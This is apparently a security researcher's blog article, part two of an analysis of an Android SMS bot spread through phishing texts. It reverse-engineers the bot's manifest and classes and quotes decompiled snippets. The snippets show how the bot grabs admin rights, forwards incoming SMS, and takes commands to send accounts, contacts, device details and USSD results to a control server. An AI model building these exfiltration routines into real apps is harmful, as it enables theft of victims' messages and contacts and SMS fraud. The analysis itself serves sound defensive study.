Analysis of sms bot for Android. Part II

    Analysis of sms bot for Android. Part II


    Continuation of the article Analysis of sms-bot for Android. Part I

    Introduction

    Another bot for Android, sent by "beautiful" numbers like 8 *** 6249999, etc. An SMS comes with a link like: “Look what is known about you” or “Information for the owner”, etc. name of the site.ru / 7 *** 6249999 "

    The process of opening Android applications:

    • Download the APK file;
    • Extract the manifest file;
    • We decompile the application into readable source or byte code;
    • We analyze the manifest and the code.


    Gentleman's toolkit:

    • Apktool - Use to pull manifest and resources;
    • Dex2jar - Decompile the APK file into bytecode;
    • Jd-gui - We translate the bytecode into readable code.


    Read the manifest

    The following lines of code are immediately apparent in the manifest:
    
    ….
    


    From the slice of the manifest, it becomes clear what the bot is going to do:
    • Receive and process all incoming SMS;
    • Will do something when the device reboots;
    • Attempts to obtain device administrator rights;
    • And it starts some kind of service. Most likely this service will wait for new commands (for example, a management server);

    Further, according to the manifest:


    It can be seen with the naked eye that our bot wants to get permission to:
    • Run after reboot;
    • Receiving accounts;
    • Receive / send / write / read SMS ok;
    • Getting phone status;
    • The Internet;

    So, the bot’s intentions are already becoming clear.

    Mainactivity.java

    Now we pass to the analysis of classes. Our bot has 17 of them.
    After analyzing each of them, I came to the conclusion that the most basic ones, that is, deserving attention, are the following:
    • MainActivity.java;
    • Runservice.java;
    • IncomingSmsReceiver.java;
    • HandlerCMD.java;

    In the above classes, the main logic of the bot is concentrated, the remaining classes are auxiliary.

    Let's see what is in the MainActivity class.
    In the code below, the bot tries to obtain Admin rights:
    this.devicePolicyManager = ((DevicePolicyManager)getSystemService("device_policy"));
    if (!this.devicePolicyManager.isAdminActive(this.adminReceiver))
      {
              GetAdministrator localGetAdministrator = new GetAdministrator();
              localGetAdministrator.execute(new Void[0]);
              return;
        }


    Further, when closing the program, he will try to run the service class (we will talk about it a little later):
          Class localClass = Class.forName("com.driver.android.system.RunService");
          Intent localIntent = new Intent(this, localClass);
          startService(localIntent);


    RunService.java

    From the name of this class it becomes clear what he is doing. Yes, it starts a service that:
    • checks his status;
    • receives commands from the management server and launches the processing handler;
    • checks outgoing SMS every 60 seconds;
    • blocks calls to numbers that are blacklisted by the bot;
    • sends all outgoing SMS to the server.


    IncomingSmsReceiver.java

    This class is used as BroadcastReceiver. From the name it is clear that this class is needed to receive incoming SMS-ok and send their contents to the server. Here is the confirmation code snippet:
    localHashMap.put("addmsg",
    localStringBuffer3.append(localStringBuffer4.append(localStringBuffer5.append(localStringBuffer6.append(localStringBuffer7.append("-->\nОтправитель: ").append(str1).toString()).append("\nТекст сообщения: ").toString()).append(str2).toString()).append("\nДата: ").toString()).append(str5).toString() + "\n-->\n\n");
    SendNewSMS localSendNewSMS = new SendNewSMS(paramContext);
    localSendNewSMS.execute(new HashMap[] { localHashMap });


    HandlerCMD.java

    In my opinion, this is the most interesting class. Here you can clearly see all the functions that the bot performs. This class interacts closely with the Command.java class, in which the actions of each command are described. The management server sends commands as an array of strings. The handler processes it and checks the first element of the paramArrayOfString [0] array for a value from "1" to "16". Now let's go through each function.

    Upon receipt of "1" sending SMS to a specific number
        if (str1.equals("1") == true)
        {
          Commands localCommands1 = new Commands(this.context);
          localCommands1.smska(paramArrayOfString);
        }


    Setting a new network IP address
          if (str1.equals("2") == true)
          {
            …
            localCommands2.newIp(paramArrayOfString[1].trim());
            … }


    Проверить на права админа и отправить результат на сервер      if (str1.equals("3") == true)
          {
            …
            if (localCommands3.getAdministrator()) {}
            …
            localSendPostData1.execute("http://" + this.server_ip, localHashMap1);
            …  }


    Sending to the server all online user accounts
          if (str1.equals("4") == true)
          {...
            String str4 = localCommands4.getAllAccounts();
            …
        localSendPostData2.execute("http://" + this.server_ip, localHashMap2);
         …     }


    Sending to the server a list of installed applications
          if (str1.equals("5") == true)
          {
            …
            String str5 = localCommands5.getInstallApps();
            …
            localSendPostData3.execute("http://" + this.server_ip, localHashMap3);
            …  }


    Clear the blacklist
          if (str1.equals("6") == true)
          { …
            localCommands6.clearBL();
            …     }


    Receive SMS text from the server and send it to subscribers from the local address book
          if (str1.equals("7") == true)
          { …
            localCommands7.deliveryPhoneBook(paramArrayOfString);
            …      }


    Send SMS on the list of numbers received from the server
          if (str1.equals("8") == true)
          { …
            localCommands8.deliveryFromBase(paramArrayOfString);
            …  }


    Get all subscriber numbers and send to server
          if (str1.equals("9") == true)
          {
            PhoneBook localPhoneBook = new PhoneBook(this.context);
            ArrayList localArrayList = localPhoneBook.getNumbers();
            …
            localSendPostData4.execute("http://" + this.server_ip, localHashMap4);
            …     }


    Send to the server information about the mobile operator
          if (str1.equals("10") == true)
          { …
            String str7 = localCommands9.getProvider();
            …
            localSendPostData5.execute("http://" + this.server_ip, localHashMap5);
            …  }


    Send application versions to the server
          if (str1.equals("11") == true)
          { …
            String str8 = localCommands10.getVersionApp();
            …
            localSendPostData6.execute("http://" + this.server_ip, localHashMap6);
            … }


    Send Android version
          if (str1.equals("12") == true)
          { …
            String str9 = localCommands11.getVersionOS();
            …
            localSendPostData7.execute("http://" + this.server_ip, localHashMap7);
            …  }


    Send country code
          if (str1.equals("13") == true)
          { …
            String str10 = localCommands12.getCountry();
            …
            localSendPostData8.execute("http://" + this.server_ip, localHashMap8);
            … }


    Send device phone number
          if (str1.equals("14") == true)
          { …
            String str11 = localCommands13.getPhoneNumber();
            …
            localSendPostData9.execute("http://" + this.server_ip, localHashMap9);
            …      }


    Receiving from the server and executing, as well as sending the result of the execution of USSD messages
          if (str1.equals("15") == true)
          { …
            localCommands14.USSD(paramArrayOfString);
            …  }


    Uninstall application in shadow mode
          if (str1.equals("16") == true)
          {
            Commands localCommands15 = new Commands(this.context);
            localCommands15.uninstallApp(paramArrayOfString);
            return;
          }


    conclusions

    To summarize the analysis. The bot is written more competently, unlike the previous one. But there are also flaws in the protection of the code. No obfuscation and encryption. Thanks to this, it was possible to see in the code the IP addresses of the server to which the bot sends and receives data.

    Nabiev Nurlan (Kazakhstan) , Department of Cybercrime Investigation , PentestIT

    Also popular now: